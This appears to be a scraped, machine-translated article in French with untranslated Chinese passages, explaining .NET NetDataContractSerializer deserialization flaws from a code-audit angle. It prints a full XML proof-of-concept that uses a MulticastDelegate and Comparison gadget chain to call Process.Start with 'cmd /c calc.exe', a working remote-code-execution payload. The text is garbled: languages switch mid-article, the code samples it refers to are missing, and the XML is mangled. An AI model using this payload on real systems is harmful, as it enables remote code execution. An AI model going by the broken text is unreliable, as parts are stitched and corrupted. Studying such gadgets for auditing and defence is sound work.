NetDataContractSerializer, comme DataContractSerializer, est utilisé pour sérialiser et désérialiser les données envoyées dans les messages Windows Communication Foundation (WCF). Il existe une différence importante entre les deux : NetDataContractSerializer inclut le CLR et prend en charge la précision des types en ajoutant des informations supplémentaires et en enregistrant des références aux types CLR, contrairement à DataContractSerializer. Par conséquent, NetDataContractSerializer ne peut être utilisé que si le même type CLR est utilisé du côté de la sérialisation et de la désérialisation. Pour sérialiser un objet, utilisez la méthode WriteObject ou Serialize, et pour désérialiser un flux XML, utilisez la méthode ReadObject ou Deserialize. Dans certains scénarios, la lecture d'un flux XML malveillant entraînera une vulnérabilité de désérialisation, réalisant ainsi une attaque RCE à distance. L'auteur de cet article l'a présenté et reproduit du point de vue des principes et de l'audit du code.
L'utilisation de WriteObject ou Serialize peut facilement réaliser la conversion entre les objets .NET et les données XML. Notez que NetDataContractSerializer contient le nom de l'assembly et le type du type sérialisé. Ces informations supplémentaires peuvent être utilisées pour désérialiser XML en types spéciaux, permettant d'utiliser le même type à la fois sur le client et sur le serveur. Des informations supplémentaires sont que l'attribut z:Id a des significations différentes sur différents éléments. Ceci est utilisé pour gérer les types de référence et savoir si la référence peut être conservée lorsque le XML est désérialisé. La conclusion finale est que cette sortie contient plus d'informations que la sortie de DataContractSerializer. Voici un exemple pour illustrer le problème. Tout d'abord, définissez l'objet TestClass
L'objet TestClass définit trois membres et implémente une méthode statique ClassMethod pour démarrer le processus. La sérialisation attribue des valeurs aux membres en créant respectivement des instances d'objet
L'auteur utilise Serialize pour obtenir les données XML après avoir sérialisé la classe TestClass
<testclass><age>18</age><classname>360</classname><name>Ivan1ee</name></testclass>
NetDataContractSerializer. désérialisation de classe Le processus de séquence consiste à convertir le flux XML en un objet et à l'implémenter en appelant plusieurs méthodes surchargées de ReadObject ou la méthode Serialize en créant un nouvel objet. Vérifiez la définition pour découvrir qu'il hérite de la classe abstraite XmlObjectSerializer, IFormatter. interface,
Classe NetDataContractSerializer Il implémente les méthodes WriteObject et ReadObject dans la classe abstraite XmlObjectSerializer, et implémente également les méthodes définies dans IFormatter. Le code d'implémentation spécifique de l'auteur appelant la méthode Deserialize en créant un nouvel objet peut être trouvé ci-dessous. En fait, la méthode ReadObject est également appelée dans la méthode Deserialize pour la désérialisation. La méthode ReadObject est utilisée dans le processus de désérialisation. est appelé, du code non principal est omis, les propriétés de l'objet sont obtenues après désérialisation dans le corps de la méthode InternalReadObject et la valeur du membre Name est imprimée.
3.2 Vecteur d'attaque—MulticastDelegate
Le délégué multicast (MulticastDelegate) hérite de Delegate, et sa liste d'appels peut avoir des délégués avec plusieurs éléments. En fait, tous les types de délégués sont dérivés de MulticastDelegate. Le champ _invocationList de la classe MulticastDelegate fera référence au tableau de délégation lors de la construction de la chaîne de délégation. Cependant, afin d'obtenir plus de contrôle sur la chaîne de délégation, vous devez utiliser la méthode GetInvocationList. Elle possède une liste de délégués avec des liens et appelle l'instance de délégué. . Le moment venu, les appels synchrones seront effectués dans l'ordre des délégués dans la liste, alors comment ajouter calc.exe à la méthode de liste GetInvocationList ? Regardez d'abord la classe Comparison
La classe Comparison renvoie le délégué, puis utilise la méthode statique publique Combine du délégué. ou classe MulticastDelegate pour ajouter le délégué à la chaîne. Comme comparateur de types pour la comparaison
使用Comparer
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc,如下
从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:
上面两种方式都是很常见的,需要重点关注。
1. 代码中实现读取本地文件内容
2. 传递poc xml,弹出计算器网页返回200
1. <arrayofstring><count>2</count> ><comparer><_comparison><delegate><assembly>mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</assembly> ><delegateentry><assemblyz:ref></assemblyz:ref><methodname>Compare</methodname> ><target></target><targettypename>System.String a:targetTypeName >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >Start a:methodName >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 >System.Diagnostics.Process a:targetTypeName >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >System.Diagnostics.Process Start(System.String,System.String) Signature >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >8 MemberType ><genericarguments></genericarguments> method0 >Int32 Compare(System.String, System.String) Signature >System.Int32 Compare(System.String,System.String) >8 MemberType > method1 > _comparison > Comparer >2 Version >/c calc.exe string >cmd string > Items > ArrayOfstring ></targettypename></delegateentry></delegate></_comparison></comparer></arrayofstring>
最后附上动态效果图
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!